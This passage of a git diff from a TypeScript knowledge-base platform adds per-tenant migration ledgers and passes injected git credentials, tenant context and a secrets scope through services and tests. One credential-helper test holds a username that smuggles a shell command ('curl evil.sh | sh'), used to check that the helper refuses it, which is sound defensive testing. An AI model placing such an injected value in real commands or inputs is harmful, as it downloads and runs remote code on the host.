  465. package/src/modules/tool-manuals/__tests__/tool-manuals.service.test.ts +3 -2
  466. package/src/modules/tool-manuals/__tests__/tool-manuals.tools.test.ts +2 -0
  467. package/src/modules/tool-manuals/mcp-json-discovery.ts +6 -4
  468. package/src/modules/tool-manuals/mcp-server-edit.service.ts +13 -11
  469. package/src/modules/tool-manuals/pending-tools.service.ts +19 -16
  470. package/src/modules/tool-manuals/tool-delete.service.ts +13 -10
  471. package/src/modules/tool-manuals/tool-manuals.routes.ts +10 -8
  472. package/src/modules/tool-manuals/tool-manuals.service.ts +15 -13
  473. package/src/modules/tool-manuals/tool-manuals.tools.ts +7 -6
  474. package/src/modules/workflow/__tests__/apply-failure.test.ts +2 -1
  475. package/src/modules/workflow/__tests__/merge-announces-tree.test.ts +14 -26
  476. package/src/modules/workflow/__tests__/preserve-roles-yaml.test.ts +2 -1
  477. package/src/modules/workflow/__tests__/session-ontology.service.test.ts +3 -2
  478. package/src/modules/workflow/__tests__/workflow.routes.lock-path.test.ts +2 -1
  479. package/src/modules/workflow/__tests__/workflow.service.branch-in-use.test.ts +3 -10
  480. package/src/modules/workflow/__tests__/workflow.service.commitFileWhileLocked.test.ts +2 -1
  481. package/src/modules/workflow/__tests__/workflow.service.deleted-branch-sweep.test.ts +3 -10
  482. package/src/modules/workflow/__tests__/workflow.service.facade.test.ts +28 -27
  483. package/src/modules/workflow/__tests__/workflow.service.folder-proposals.test.ts +2 -1
  484. package/src/modules/workflow/__tests__/workflow.service.platform-restore.test.ts +2 -1
  485. package/src/modules/workflow/__tests__/workflow.service.read-gate.test.ts +3 -2
  486. package/src/modules/workflow/__tests__/workflow.service.releaseLock.test.ts +2 -1
  487. package/src/modules/workflow/__tests__/workflow.service.sync.test.ts +5 -4
  488. package/src/modules/workflow/__tests__/workflow.service.update-from-target.test.ts +2 -1
  489. package/src/modules/workflow/agent-tools/__tests__/workflow.tools.test.ts +2 -1
  490. package/src/modules/workflow/agent-tools/workflow.tools.ts +11 -9
  491. package/src/modules/workflow/git/__tests__/git.service.accessGating.test.ts +5 -4
  492. package/src/modules/workflow/git/__tests__/git.service.changedFilesForPr.test.ts +12 -11
  493. package/src/modules/workflow/git/__tests__/git.service.commitChanges.test.ts +9 -8
  494. package/src/modules/workflow/git/__tests__/git.service.commitFile.strayPath.test.ts +8 -7
  495. package/src/modules/workflow/git/__tests__/git.service.commitFile.test.ts +6 -5
  496. package/src/modules/workflow/git/__tests__/git.service.createBranch.test.ts +3 -2
  497. package/src/modules/workflow/git/__tests__/git.service.deleteBranch.test.ts +3 -2
  498. package/src/modules/workflow/git/__tests__/git.service.diffFileAtCommit.test.ts +7 -6
  499. package/src/modules/workflow/git/__tests__/git.service.diffFileBetweenBranches.test.ts +16 -15
  500. package/src/modules/workflow/git/__tests__/git.service.fileContentsAtCommit.test.ts +3 -2
  501. package/src/modules/workflow/git/__tests__/git.service.forkPoint.test.ts +2 -1
  502. package/src/modules/workflow/git/__tests__/git.service.history-guards.test.ts +2 -1
  503. package/src/modules/workflow/git/__tests__/git.service.list-branches.test.ts +10 -9
  504. package/src/modules/workflow/git/__tests__/git.service.listTrackedFiles.test.ts +2 -1
  505. package/src/modules/workflow/git/__tests__/git.service.logForFile.test.ts +6 -5
  506. package/src/modules/workflow/git/__tests__/git.service.mergeChangeRequest.test.ts +9 -8
  507. package/src/modules/workflow/git/__tests__/git.service.pendingChanges.test.ts +2 -1
  508. package/src/modules/workflow/git/__tests__/git.service.postMergePull.test.ts +4 -3
  509. package/src/modules/workflow/git/__tests__/git.service.pull.test.ts +9 -8
  510. package/src/modules/workflow/git/__tests__/git.service.readFileAtRef.test.ts +2 -1
  511. package/src/modules/workflow/git/__tests__/git.service.revertPathsAndPush.test.ts +2 -1
  512. package/src/modules/workflow/git/__tests__/git.service.status.test.ts +4 -3
  513. package/src/modules/workflow/git/__tests__/git.service.syncFromRemote.test.ts +8 -7
  514. package/src/modules/workflow/git/__tests__/node-git-runner.test.ts +41 -3
  515. package/src/modules/workflow/git/git.service.ts +24 -13
  516. package/src/modules/workflow/git/node-git-runner.ts +37 -4
  517. package/src/modules/workflow/review-workflow/review-workflow.service.ts +9 -6
  518. package/src/modules/workflow/session-ontology.service.ts +7 -2
  519. package/src/modules/workflow/workflow.service.ts +31 -24
  520. package/src/modules/workspace/__tests__/file-stat-access.test.ts +3 -2
  521. package/src/modules/workspace/__tests__/git-internals.security.test.ts +10 -9
  522. package/src/modules/workspace/__tests__/session-ontology.gate.test.ts +4 -2
  523. package/src/modules/workspace/__tests__/workspace-paths-inside-the-repo.test.ts +3 -2
  524. package/src/modules/workspace/__tests__/workspace.routes.branch-errors.test.ts +2 -1
  525. package/src/modules/workspace/__tests__/workspace.routes.create-grant.test.ts +2 -1
  526. package/src/modules/workspace/__tests__/workspace.routes.delete.test.ts +2 -1
  527. package/src/modules/workspace/__tests__/workspace.routes.download-implies-read.test.ts +2 -1
  528. package/src/modules/workspace/__tests__/workspace.routes.download.test.ts +2 -1
  529. package/src/modules/workspace/__tests__/workspace.routes.file-writes.test.ts +2 -1
  530. package/src/modules/workspace/__tests__/workspace.routes.folders.test.ts +5 -4
  531. package/src/modules/workspace/__tests__/workspace.routes.move-platform-files.test.ts +2 -1
  532. package/src/modules/workspace/__tests__/workspace.routes.read-gate.test.ts +2 -1
  533. package/src/modules/workspace/__tests__/workspace.service.ensure-remotes-fetched.test.ts +2 -2
  534. package/src/modules/workspace/__tests__/workspace.service.list-cloned.test.ts +6 -5
  535. package/src/modules/workspace/__tests__/workspace.service.move-never-overwrites.test.ts +2 -1
  536. package/src/modules/workspace/__tests__/workspace.service.read-filter.test.ts +2 -1
  537. package/src/modules/workspace/__tests__/workspace.service.test.ts +84 -50
  538. package/src/modules/workspace/__tests__/workspace.service.unknown-branch.test.ts +2 -1
  539. package/src/modules/workspace/__tests__/workspace.tools.agents-file.test.ts +10 -7
  540. package/src/modules/workspace/__tests__/workspace.tools.branch-errors.test.ts +4 -3
  541. package/src/modules/workspace/__tests__/workspace.tools.test.ts +9 -8
  542. package/src/modules/workspace/__tests__/write-denial.test.ts +5 -4
  543. package/src/modules/workspace/session-ontology.gate.ts +6 -4
  544. package/src/modules/workspace/startup/__tests__/kb-startup-runner.degraded.test.ts +6 -2
  545. package/src/modules/workspace/startup/__tests__/kb-startup-runner.test.ts +29 -21
  546. package/src/modules/workspace/startup/kb-git.ts +15 -22
  547. package/src/modules/workspace/startup/kb-startup-runner.ts +40 -46
  548. package/src/modules/workspace/startup/steps/__tests__/steps.test.ts +104 -98
  549. package/src/modules/workspace/startup/steps/groups-to-plugins.step.ts +24 -16
  550. package/src/modules/workspace/startup/steps/personal-spaces.step.ts +14 -5
  551. package/src/modules/workspace/startup/steps/plugin-display-names.step.ts +13 -5
  552. package/src/modules/workspace/startup/steps/plugin-manifests.step.ts +14 -5
  553. package/src/modules/workspace/startup/steps/seed-tree.ts +11 -9
  554. package/src/modules/workspace/startup/steps/template-files.step.ts +43 -34
  555. package/src/modules/workspace/startup/steps/template-source.ts +8 -5
  556. package/src/modules/workspace/workspace.routes.ts +8 -7
  557. package/src/modules/workspace/workspace.service.ts +30 -27
  558. package/src/modules/workspace/workspace.tools.ts +21 -20
  559. package/src/modules/workspace/write-denial.ts +7 -5
  560. package/src/shared/__tests__/kb-layout.plugin.test.ts +19 -16
  561. package/src/shared/git.contract.ts +70 -8
  562. package/src/shared/kb-context.ts +130 -0
  563. package/src/shared/kb-layout.test.ts +37 -27
  564. package/src/shared/kb-layout.ts +4 -3
  565. package/src/shared/pending-proposals.ts +7 -4
  566. package/src/shared/redact-secret.ts +5 -5
  567. package/src/tenancy/__tests__/static-tenant-source.test.ts +177 -0
  568. package/src/tenancy/__tests__/tenant-host.test.ts +372 -0
  569. package/src/tenancy/__tests__/tenant-runtime.test.ts +221 -0
  570. package/src/tenancy/__tests__/tenant-secrets.test.ts +35 -0
  571. package/src/tenancy/index.ts +35 -0
  572. package/src/tenancy/static-tenant-source.ts +296 -0
  573. package/src/tenancy/tenant-host.ts +261 -0
  574. package/src/tenancy/tenant-runtime.ts +208 -0
  575. package/src/tenancy/tenant-secrets.ts +41 -0
  576. package/src/tenancy/tenant-source.contract.ts +59 -0
@@ -2,7 +2,7 @@ import { migrate } from 'drizzle-orm/node-postgres/migrator';
2
2
  import { logger } from '../../shared/logging.js';
3
3
 
4
4
  const log = logger('database');
5
- import type { Database } from './connection.js';
5
+ import { DEFAULT_DB_SCHEMA, dbSchemaOf, type Database } from './connection.js';
6
6
  import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
7
7
 
8
8
  /*
@@ -38,13 +38,40 @@ import { AdvisoryLock, withAdvisoryLock } from './advisory-lock.js';
38
38
  * container takes to exit. See `advisory-lock.ts` for the mechanism.
39
39
  */
40
40
 
41
+ /**
42
+ * Where a handle's migration ledger lives, and which lock guards its runs.
43
+ *
44
+ * The default schema keeps drizzle's own `drizzle` schema for the ledger,
45
+ * where every existing deployment already has one: naming `public` here
46
+ * would make the next boot read an empty ledger and re-apply plain DDL that
47
+ * is already applied. A knowledge base on a schema of its own keeps its
48
+ * ledger IN that schema, so the schema is the whole of the tenant: what
49
+ * `pg_dump -n` carries out includes what has been applied to it, and the
50
+ * dedicated deployment it is restored into resumes from there rather than
51
+ * from nothing. The lock is keyed the same way, so two tenants of one
52
+ * database migrate side by side while two processes of one tenant still
53
+ * take turns.
54
+ */
55
+ function ledgerOptions(db: Database): { migrationsSchema?: string; tenantKey: string } {
56
+ const schema = dbSchemaOf(db);
57
+ return schema === DEFAULT_DB_SCHEMA
58
+ ? { tenantKey: '' }
59
+ : { migrationsSchema: schema, tenantKey: schema };
60
+ }
61
+
41
62
  /** Apply the CORE migration history from `folder`, tracked in `__drizzle_migrations_core`. */
42
63
  export async function runCoreMigrations(db: Database, folder: string): Promise<void> {
43
- await withAdvisoryLock(db, AdvisoryLock.Migrations, async () => {
44
- log.info('Running core database migrations...');
45
- await migrate(db, { migrationsFolder: folder, migrationsTable: '__drizzle_migrations_core' });
46
- log.info('Core migrations complete.');
47
- });
64
+ const { migrationsSchema, tenantKey } = ledgerOptions(db);
65
+ await withAdvisoryLock(
66
+ db,
67
+ AdvisoryLock.Migrations,
68
+ async () => {
69
+ log.info('Running core database migrations...');
70
+ await migrate(db, { migrationsFolder: folder, migrationsTable: '__drizzle_migrations_core', migrationsSchema });
71
+ log.info('Core migrations complete.');
72
+ },
73
+ { tenantKey },
74
+ );
48
75
  }
49
76
 
50
77
  /**
@@ -53,12 +80,19 @@ export async function runCoreMigrations(db: Database, folder: string): Promise<v
53
80
  * enterprise tables FK into core tables.
54
81
  */
55
82
  export async function runEnterpriseMigrations(db: Database, folder: string): Promise<void> {
56
- await withAdvisoryLock(db, AdvisoryLock.Migrations, async () => {
57
- log.info('Running enterprise database migrations...');
58
- await migrate(db, {
59
- migrationsFolder: folder,
60
- migrationsTable: '__drizzle_migrations_enterprise',
61
- });
62
- log.info('Enterprise migrations complete.');
63
- });
83
+ const { migrationsSchema, tenantKey } = ledgerOptions(db);
84
+ await withAdvisoryLock(
85
+ db,
86
+ AdvisoryLock.Migrations,
87
+ async () => {
88
+ log.info('Running enterprise database migrations...');
89
+ await migrate(db, {
90
+ migrationsFolder: folder,
91
+ migrationsTable: '__drizzle_migrations_enterprise',
92
+ migrationsSchema,
93
+ });
94
+ log.info('Enterprise migrations complete.');
95
+ },
96
+ { tenantKey },
97
+ );
64
98
  }
@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
7
7
  import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
8
8
  import { WorkspaceMutex } from '../../kb-fs/mutex.js';
9
9
  import { DiffService } from '../diff.service.js';
10
+ import { testKbContext } from '../../../__tests__/kb-context.js';
10
11
 
11
12
  /**
12
13
  * Atomic-seed regression suite.
@@ -55,7 +56,7 @@ async function setup(): Promise<Fixture> {
55
56
  const workspaceService = new WorkspaceService(
56
57
  workspacesRoot,
57
58
  'https://github.com/Bevel-Software/knowledge-base.git',
58
- 'knowledge-base',
59
+ testKbContext(),
59
60
  new NodeFs(),
60
61
  );
61
62
  const mutex = new WorkspaceMutex();
@@ -7,6 +7,7 @@ import { WorkspaceService } from '../../workspace/workspace.service.js';
7
7
  import { workspaceIdForBranch } from '../../../shared/workspace-id.js';
8
8
  import { WorkspaceMutex } from '../../kb-fs/mutex.js';
9
9
  import { DiffService } from '../diff.service.js';
10
+ import { testKbContext } from '../../../__tests__/kb-context.js';
10
11
 
11
12
  async function mkTmpRoot(prefix: string): Promise<string> {
12
13
  return fs.mkdtemp(path.join(os.tmpdir(), prefix));
@@ -41,7 +42,7 @@ async function setup(): Promise<Fixture> {
41
42
  const workspaceService = new WorkspaceService(
42
43
  workspacesRoot,
43
44
  'https://github.com/Bevel-Software/knowledge-base.git',
44
- 'knowledge-base',
45
+ testKbContext(),
45
46
  new NodeFs(),
46
47
  );
47
48
  const mutex = new WorkspaceMutex();
@@ -1,8 +1,8 @@
1
1
  import { describe, it, expect } from 'vitest';
2
+ import { currentBranchModel, isProtectedBranch } from '@bevel-software/platform-shared';
2
3
  import {
3
4
  assertValidBranchName,
4
5
  assertValidRelativePath,
5
- isProtectedBranch,
6
6
  } from '../branch-name.js';
7
7
  import { BranchNameError, WorkflowValidationError } from '../../../shared/domain-errors.js';
8
8
 
@@ -75,12 +75,12 @@ describe('assertValidRelativePath', () => {
75
75
 
76
76
  describe('isProtectedBranch', () => {
77
77
  it('protects current-company-state and target-company-state', () => {
78
- expect(isProtectedBranch('current-company-state')).toBe(true);
79
- expect(isProtectedBranch('target-company-state')).toBe(true);
78
+ expect(isProtectedBranch(currentBranchModel(), 'current-company-state')).toBe(true);
79
+ expect(isProtectedBranch(currentBranchModel(), 'target-company-state')).toBe(true);
80
80
  });
81
81
  it('does not protect user branches', () => {
82
- expect(isProtectedBranch('ali-raza/add-owner')).toBe(false);
83
- expect(isProtectedBranch('main')).toBe(false);
84
- expect(isProtectedBranch('develop')).toBe(false);
82
+ expect(isProtectedBranch(currentBranchModel(), 'ali-raza/add-owner')).toBe(false);
83
+ expect(isProtectedBranch(currentBranchModel(), 'main')).toBe(false);
84
+ expect(isProtectedBranch(currentBranchModel(), 'develop')).toBe(false);
85
85
  });
86
86
  });
@@ -1,4 +1,5 @@
1
- import { describe, it, expect, afterEach } from 'vitest';
1
+ import { describe, it, expect } from 'vitest';
2
+ import { gitCredentials } from '../../../shared/git.contract.js';
2
3
  import {
3
4
  cloneCredentialArgs,
4
5
  cloneCredentialConfigArgs,
@@ -24,56 +25,59 @@ describe('cloneTrackingConfigArgs', () => {
24
25
  });
25
26
 
26
27
  describe('credential config', () => {
27
- const ORIGINAL = process.env.GITHUB_TOKEN;
28
- afterEach(() => {
29
- if (ORIGINAL === undefined) delete process.env.GITHUB_TOKEN;
30
- else process.env.GITHUB_TOKEN = ORIGINAL;
31
- });
28
+ const withToken = (username = 'x-access-token') => gitCredentials(username, 'ghp_supersecret');
29
+ const withoutToken = gitCredentials('x-access-token', null);
32
30
 
33
31
  it('reads the token from the environment at call time, never inlining its value', () => {
34
- process.env.GITHUB_TOKEN = 'ghp_supersecret';
35
- const helper = credentialHelperValue('x-access-token');
32
+ const helper = credentialHelperValue(withToken());
36
33
  expect(helper).toContain('password=$GITHUB_TOKEN');
37
34
  expect(helper).not.toContain('ghp_supersecret');
38
35
  });
39
36
 
40
37
  it('with no token: clones get no helper, and existing clones get theirs UNSET', () => {
41
- delete process.env.GITHUB_TOKEN;
42
- expect(credentialHelperValue('x-access-token')).toBeNull();
38
+ expect(credentialHelperValue(withoutToken)).toBeNull();
43
39
  // A fresh clone simply carries nothing…
44
- expect(cloneCredentialArgs('x-access-token')).toEqual([]);
40
+ expect(cloneCredentialArgs(withoutToken)).toEqual([]);
45
41
  // …but an adopted clone may carry a helper from when a token WAS
46
42
  // configured, and that stale helper (answering with an empty password)
47
43
  // would shadow whatever auth the operator fell back to — so the repair
48
44
  // path removes it. Callers run this tolerantly: unset of a missing key
49
45
  // exits non-zero and is the expected no-op.
50
- expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
46
+ expect(cloneCredentialConfigArgs(withoutToken)).toEqual([
51
47
  ['config', '--unset-all', 'credential.helper', 'password=\\$GITHUB_TOKEN'],
52
48
  ]);
53
49
  });
54
50
 
51
+ it('never reads this process\'s environment: a token there is not a token in effect', () => {
52
+ const previous = process.env.GITHUB_TOKEN;
53
+ process.env.GITHUB_TOKEN = 'ghp_stale_from_env';
54
+ try {
55
+ expect(credentialHelperValue(withoutToken)).toBeNull();
56
+ } finally {
57
+ if (previous === undefined) delete process.env.GITHUB_TOKEN;
58
+ else process.env.GITHUB_TOKEN = previous;
59
+ }
60
+ });
61
+
55
62
  it('passes the clone form as --config, which git only honours AFTER the subcommand', () => {
56
- process.env.GITHUB_TOKEN = 'ghp_x';
57
63
  // Pinned exactly: `-c` here instead of `--config` still authenticates the
58
64
  // clone but writes nothing into the new repo, which is the bug this guards.
59
- expect(cloneCredentialArgs('oauth2')).toEqual([
65
+ expect(cloneCredentialArgs(withToken('oauth2'))).toEqual([
60
66
  '--config',
61
- `credential.helper=${credentialHelperValue('oauth2')}`,
67
+ `credential.helper=${credentialHelperValue(withToken('oauth2'))}`,
62
68
  ]);
63
69
  });
64
70
 
65
71
  it('replaces rather than appends when re-stamping — scoped to app-owned values only', () => {
66
- process.env.GITHUB_TOKEN = 'ghp_x';
67
72
  // The trailing value-pattern is what keeps an operator's own clone-local
68
73
  // helper (store/cache/custom) out of reach of both the replace and the
69
74
  // unset — git only touches values matching it.
70
- expect(cloneCredentialConfigArgs('x-access-token')).toEqual([
71
- ['config', '--replace-all', 'credential.helper', credentialHelperValue('x-access-token'), 'password=\\$GITHUB_TOKEN'],
75
+ expect(cloneCredentialConfigArgs(withToken())).toEqual([
76
+ ['config', '--replace-all', 'credential.helper', credentialHelperValue(withToken()), 'password=\\$GITHUB_TOKEN'],
72
77
  ]);
73
78
  });
74
79
 
75
80
  it('refuses a username that would break out of the helper snippet', () => {
76
- process.env.GITHUB_TOKEN = 'ghp_x';
77
- expect(() => credentialHelperValue('me"; curl evil.sh | sh; #')).toThrow(/must match/);
81
+ expect(() => credentialHelperValue(withToken('me"; curl evil.sh | sh; #'))).toThrow(/must match/);
78
82
  });
79
83
  });
@@ -1,8 +1,8 @@
1
1
  import { BranchNameError, WorkflowValidationError } from '../../shared/domain-errors.js';
2
2
 
3
- // Single source of truth for the protected-branch list lives in `@bevel-software/platform-shared` so
4
- // the backend guard and the frontend banner/disabling logic can't drift apart.
5
- export { PROTECTED_BRANCHES, isProtectedBranch } from '@bevel-software/platform-shared';
3
+ // The protected-branch list is the knowledge base's (`KbContext.protectedBranches`):
4
+ // services ask the context they were built with, so the backend guard and the
5
+ // frontend banner (which reads the same model from `/api/config`) can't drift.
6
6
  // Authorship inference lives in `@bevel-software/platform-shared` for the same reason — the
7
7
  // picker's `canDelete` rule and the backend authorisation check on
8
8
  // `deleteBranch` must agree on every edge case (uppercase email, dotted
@@ -1,3 +1,5 @@
1
+ import { GIT_TOKEN_ENV, type GitCredentials } from '../../shared/git.contract.js';
2
+
1
3
  /**
2
4
  * The git configuration a per-branch workspace clone must carry: the tracking
3
5
  * config that pins its branch to exactly ONE upstream ref, and the credential
@@ -90,21 +92,22 @@ export function cloneTrackingConfigArgs(branch: string): string[][] {
90
92
 
91
93
  /**
92
94
  * The inline credential helper a workspace clone authenticates its remote
93
- * operations with, or null when the deployment has no git token configured.
95
+ * operations with, or null when the credentials carry no token.
94
96
  *
95
97
  * The snippet reads `$GITHUB_TOKEN` at CALL time, so the secret itself never
96
98
  * enters argv, the clone's `.git/config`, or any error message quoting either.
97
- * `GITHUB_TOKEN` is the normalised name — `CoreConfig` collapses `GIT_TOKEN` /
98
- * `GH_TOKEN` onto it at boot, and `DeploymentSettingsService.syncGitTokenEnv`
99
- * publishes a token supplied through the setup screen to the same place — so
100
- * this one name covers every way a token can arrive.
99
+ * The git runner puts the token there for every call it makes
100
+ * (`GIT_TOKEN_ENV` in `shared/git.contract.ts`), whichever way it arrived:
101
+ * the environment at boot, or the setup screen afterwards. Nothing else
102
+ * reads that variable, and nothing writes it into this process.
101
103
  *
102
104
  * The username is provider-specific (GitHub `x-access-token`, GitLab `oauth2`,
103
105
  * Bitbucket `x-token-auth`); the token is always the Basic-auth password,
104
106
  * which every major host accepts.
105
107
  */
106
- export function credentialHelperValue(gitUsername: string): string | null {
107
- if (!process.env.GITHUB_TOKEN) return null;
108
+ export function credentialHelperValue(credentials: GitCredentials): string | null {
109
+ if (!credentials.token()) return null;
110
+ const gitUsername = credentials.username();
108
111
  // Interpolated into a shell snippet that git will execute. `CoreConfig` and
109
112
  // `DeploymentSettingsService` both reject a username outside this charset
110
113
  // before it can get this far, so reaching the throw means an unvalidated
@@ -119,7 +122,7 @@ export function credentialHelperValue(gitUsername: string): string | null {
119
122
  // `password=$GITHUB_TOKEN` stays in the snippet, which is what
120
123
  // APP_HELPER_VALUE_PATTERN keys on — echo-era helpers stamped by earlier
121
124
  // builds still match it and get replaced on the next stamp.
122
- return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$GITHUB_TOKEN"; }; f`;
125
+ return `!f() { printf '%s\\n' "username=${gitUsername}" "password=$${GIT_TOKEN_ENV}"; }; f`;
123
126
  }
124
127
 
125
128
  /**
@@ -135,8 +138,8 @@ export function credentialHelperValue(gitUsername: string): string | null {
135
138
  * Empty when no token is configured, matching the un-authenticated clone the
136
139
  * rest of the layer already supports.
137
140
  */
138
- export function cloneCredentialArgs(gitUsername: string): string[] {
139
- const helper = credentialHelperValue(gitUsername);
141
+ export function cloneCredentialArgs(credentials: GitCredentials): string[] {
142
+ const helper = credentialHelperValue(credentials);
140
143
  return helper ? ['--config', `credential.helper=${helper}`] : [];
141
144
  }
142
145
 
@@ -165,8 +168,8 @@ export function cloneCredentialArgs(gitUsername: string): string[] {
165
168
  */
166
169
  const APP_HELPER_VALUE_PATTERN = 'password=\\$GITHUB_TOKEN';
167
170
 
168
- export function cloneCredentialConfigArgs(gitUsername: string): string[][] {
169
- const helper = credentialHelperValue(gitUsername);
171
+ export function cloneCredentialConfigArgs(credentials: GitCredentials): string[][] {
172
+ const helper = credentialHelperValue(credentials);
170
173
  // `--replace-all key value pattern` replaces every line MATCHING the
171
174
  // pattern with the one value (adding it when none match) and leaves
172
175
  // non-matching values — operator helpers — untouched. Same scoping on the
@@ -1,6 +1,6 @@
1
1
  import { describe, it, expect } from 'vitest';
2
2
  import { MarketplaceRepoService, type MarketplaceCompiler } from '../marketplace-repo.service.js';
3
- import { GitRunError, type IGitRunner } from '../../../shared/git.contract.js';
3
+ import { GitRunError, NO_GIT_CREDENTIALS, type IGitRunner } from '../../../shared/git.contract.js';
4
4
 
5
5
  const SHA = 'a'.repeat(40);
6
6
 
@@ -8,6 +8,7 @@ const SHA = 'a'.repeat(40);
8
8
  function runnerFailingRevParse(failure: GitRunError): IGitRunner {
9
9
  return {
10
10
  defaultTimeoutMs: 1_000,
11
+ credentials: NO_GIT_CREDENTIALS,
11
12
  run: (async (_cwd: string, args: string[]) => {
12
13
  if (args.includes('rev-parse')) throw failure;
13
14
  return { stdout: '', stderr: '' };
@@ -93,6 +93,13 @@ export interface McpProxyOptions {
93
93
  readAgentPreamble?: AgentPreambleReader;
94
94
  /** Bounds of the downstream (`mcp.json`) connection pool; defaults are 4h idle / 5000 entries. */
95
95
  downstreamPool?: Pick<DownstreamPoolOptions<unknown>, 'idleTtlMs' | 'maxEntries' | 'now'>;
96
+ /**
97
+ * The scope this knowledge base's secrets vault was registered under (see
98
+ * `secrets-variable-loader.ts`), so the UTCP clients built here resolve a
99
+ * caller's `${VAR}`s from that vault and no other's. Default: the single
100
+ * knowledge base's.
101
+ */
102
+ secretsScope?: string;
96
103
  }
97
104
 
98
105
  /** Who a request is from — everything the proxy needs, resolved from that request's own bearer. */
@@ -727,7 +734,7 @@ export class McpService {
727
734
  */
728
735
  private async buildClient(bearer: string, userId: string, manuals: CallTemplate[]): Promise<CodeModeUtcpClient> {
729
736
  const variables = seedBevelHostedManualVars(manuals, this.opts.loopbackBaseUrl, bearer);
730
- return CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, variables));
737
+ return CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, variables, this.opts.secretsScope));
731
738
  }
732
739
 
733
740
  /**
@@ -959,7 +966,7 @@ export class McpService {
959
966
  private async connectDownstream(userId: string, template: CallTemplate): Promise<PooledDownstream> {
960
967
  // Third-party manuals are never seeded loopback credentials (see
961
968
  // `buildClient`), so a pooled client carries no request-scoped bearer.
962
- const client = await CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, {}));
969
+ const client = await CodeModeUtcpClient.create(process.cwd(), utcpClientConfig(userId, {}, this.opts.secretsScope));
963
970
  // Our own copy: registration renames the template in place, and recovery
964
971
  // re-registers from exactly what discovery used.
965
972
  const own = structuredClone(template);
@@ -1240,10 +1247,10 @@ function isErrorResult(result: CallToolResult): boolean {
1240
1247
  * request clients and pooled downstream clients, so both resolve a manual's
1241
1248
  * variables through exactly the same tiers.
1242
1249
  */
1243
- function utcpClientConfig(userId: string, variables: Record<string, string>) {
1250
+ function utcpClientConfig(userId: string, variables: Record<string, string>, secretsScope?: string) {
1244
1251
  return new UtcpClientConfigSerializer().validateDict({
1245
1252
  variables,
1246
- load_variables_from: [bevelSecretsLoaderConfig(userId)],
1253
+ load_variables_from: [bevelSecretsLoaderConfig(userId, secretsScope)],
1247
1254
  });
1248
1255
  }
1249
1256
 
@@ -3,7 +3,8 @@ import { NodeFs } from '../../kb-fs/node-fs.js';
3
3
  import fs from 'node:fs/promises';
4
4
  import os from 'node:os';
5
5
  import path from 'node:path';
6
- import { DEFAULT_BRANCH, DEFAULT_KB_LAYOUT, configureKbLayout } from '@bevel-software/platform-shared';
6
+ import { DEFAULT_BRANCH } from '@bevel-software/platform-shared';
7
+ import { testKbContext } from '../../../__tests__/kb-context.js';
7
8
 
8
9
  import type { WorkspaceService } from '../../workspace/workspace.service.js';
9
10
  import { AccessControlService } from '../../access/access-control.service.js';
@@ -46,7 +47,8 @@ describe('bundle dialect, end to end', () => {
46
47
  };
47
48
 
48
49
  beforeEach(async () => {
49
- configureKbLayout({ knowledgeBaseDir: 'docs', skillsDir: 'skills', pluginsDir: 'plugins' });
50
+ // The customer's root names, read by every consumer through one context.
51
+ const kb = testKbContext({ kbDirName: KB_DIR, layout: { knowledgeBaseDir: 'docs', skillsDir: 'skills', pluginsDir: 'plugins' } });
50
52
  root = await fs.mkdtemp(path.join(os.tmpdir(), 'bevel-dialect-'));
51
53
  repo = path.join(root, wsId, KB_DIR);
52
54
  const workspaceService = {
@@ -94,17 +96,16 @@ describe('bundle dialect, end to end', () => {
94
96
  );
95
97
 
96
98
  const disk = new NodeFs();
97
- const source = new KbPluginSource(disk);
98
- access = new AccessControlService(workspaceService, KB_DIR, disk);
99
- skills = new SkillService(workspaceService, access, KB_DIR, disk);
100
- tools = new ToolManualService(workspaceService, access, KB_DIR, disk, source);
101
- links = new PluginLinkIndex(workspaceService, skills, access, KB_DIR, source);
102
- index = new PluginIndexService(workspaceService, access, skills, tools, KB_DIR, source, Date.now, links);
103
- compiler = new MarketplaceCompilerService(workspaceService, access, skills, links, KB_DIR, { name: 'acme', owner: 'Acme' }, source, disk, new NodeGitRunner());
104
- linkService = new PluginLinksService(workspaceService, { runPendingCommit: async () => undefined }, access, skills, links, KB_DIR);
99
+ const source = new KbPluginSource(disk, kb);
100
+ access = new AccessControlService(workspaceService, KB_DIR, disk, [], new NodeGitRunner(), kb);
101
+ skills = new SkillService(workspaceService, access, kb, disk);
102
+ tools = new ToolManualService(workspaceService, access, kb, disk, source);
103
+ links = new PluginLinkIndex(workspaceService, skills, access, kb, source);
104
+ index = new PluginIndexService(workspaceService, access, skills, tools, kb, source, Date.now, links);
105
+ compiler = new MarketplaceCompilerService(workspaceService, access, skills, links, kb, { name: 'acme', owner: 'Acme' }, source, disk, new NodeGitRunner());
106
+ linkService = new PluginLinksService(workspaceService, { runPendingCommit: async () => undefined }, access, skills, links, kb);
105
107
  });
106
108
  afterEach(async () => {
107
- configureKbLayout({ ...DEFAULT_KB_LAYOUT });
108
109
  await fs.rm(root, { recursive: true, force: true });
109
110
  });
110
111
 
@@ -1,4 +1,5 @@
1
1
  import { describe, it, expect } from 'vitest';
2
+ import { DEFAULT_KB_LAYOUT } from '@bevel-software/platform-shared';
2
3
  import fs from 'node:fs/promises';
3
4
  import os from 'node:os';
4
5
  import path from 'node:path';
@@ -147,7 +148,7 @@ describe('bundle: what it says about itself survives', () => {
147
148
  }),
148
149
  );
149
150
  const warnings: string[] = [];
150
- const plugin = await readBundlePlugin(dir, 'plugins/ado', 'ado', null, warnings, []);
151
+ const plugin = await readBundlePlugin(dir, 'plugins/ado', 'ado', null, warnings, [], DEFAULT_KB_LAYOUT);
151
152
  expect(plugin?.manifest).toEqual({
152
153
  name: 'ado',
153
154
  version: '1.3.5',
@@ -16,6 +16,7 @@ import { NodeGitRunner } from '../../workflow/git/node-git-runner.js';
16
16
  import express from 'express';
17
17
  import { ToolRegistry } from '../../tool-registry/tool-registry.js';
18
18
  import { registerSkillsTools } from '../../skills/skills.tools.js';
19
+ import { testKbContext } from '../../../__tests__/kb-context.js';
19
20
 
20
21
  /**
21
22
  * Source in, distribution out — for one caller. The real resolver decides
@@ -90,17 +91,18 @@ describe('compileMarketplace', () => {
90
91
  await write('Skills/Sales/pitch/SKILL.md', '---\ndescription: Pitch.\n---\n');
91
92
 
92
93
  const disk = new NodeFs();
